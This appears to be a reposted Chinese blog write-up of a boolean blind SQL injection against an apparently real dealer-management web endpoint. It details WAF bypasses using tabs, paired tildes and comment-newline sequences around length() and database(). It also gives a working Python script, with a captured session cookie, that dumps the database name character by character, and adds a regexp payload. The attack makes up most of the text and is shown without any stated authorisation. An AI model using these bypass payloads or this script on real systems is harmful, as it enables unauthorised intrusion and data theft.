概述
如果有一天,你走路要戴耳机,坐车要靠窗,走在路上不会大喊大叫,被问问题会沉默,你会发现安安静静的挺好。。。
---- 网易云热评
作者:carrypan
图片有点不适,WORD版本链接:
https://pan.baidu.com/s/12ufv02IkMZTVnkM1UEQlog 提取码: v9rp
一、测试发现一个布尔型注入点,测试过程如下:
1、原始请求
2、输入’or’1’like’1
3、输入’or’1’like’2
4、初步判断存在布尔型sql盲注,然后开始判断库名长度:
5、首先想到可能处理了空格,手工简单测试下:
6、发现:
空格or(不拦截)
or空格(拦截)
or/**/(拦截)
or%09 %0a %0b %0c %0d(不拦截)
二、简单fuzz下字符:
1、or (偶数个~) 也可以bypass
2、奇数个~执行失败:
3、进一步获取库名长度:
4、还是被拦截,猜测是处理了length()或database()函数,简单尝试下:
5、length()被处理掉了,fuzz一下:
6、利用注释换行符组合如length%23%0a()即可绕过:
7、这里还是报错,简单测试了下,把空格键换一下即可解决:
8、继续判断库名长度:
9、database()也被处理掉了,同样的方法可绕过:
10、最终得出数据库长度为7,如下图:
11、获取库名
12、substr未拦截,借助intruder跑一下:
注出第一个字符为l
三、写个脚本拖一下完整库名:
import requests
payloads = 'abcdefghijklmnopqrstuvwxyz_-'
database = ''
for l in range(1,8):
for payload in payloads:
burp0_url = "https://xxxxxx.xxxxxxxx.com:443/dms.web/manage/rest/basedata/DutyRecord?sort=EMPLOYEE_NO&order=asc&limit=10&offset=0®isterDate=2020-08-19'or%09substr(database%23%0a(),{0},1)%3d'{1}'%09or'1'like'2&employeeNo=0222&onDutyTime=08%3A00&offDutyTime=17%3A00&usableWorkingHours=9.0&dms_table=%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D&dmsFuncId=15100070&_=1597802235462".format(l,payload)
burp0_cookies = {"JSESSIONID": "ABCWB37FFE3DB54BD5705453E681E41F2", "selectDealerCode": "xxxx", "selectusername": "xxxx", "language": "zh_CN"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "https://xxxxxx.yxxxxuxuxo.xxm/dms.web/html/index.html"}
resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
if "2018-10-22" in resp.content:
database += payload
print '[*]successt' + database
else:
print '[*]dumping......'
print '[*]current database is:t' + database
借助regexp正则匹配也可以实现,payload:
'%20or%0adatabase%23%0a()regexp'%5el'%09or%09'2'like'1
成功注出第一个字符:l,以此类推。
禁止非法,后果自负
欢迎关注公众号:web安全工具库
最后
以上就是淡定蜜粉为你收集整理的分享一个SQL的bypass小案例的全部内容,希望文章能够帮你解决分享一个SQL的bypass小案例所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复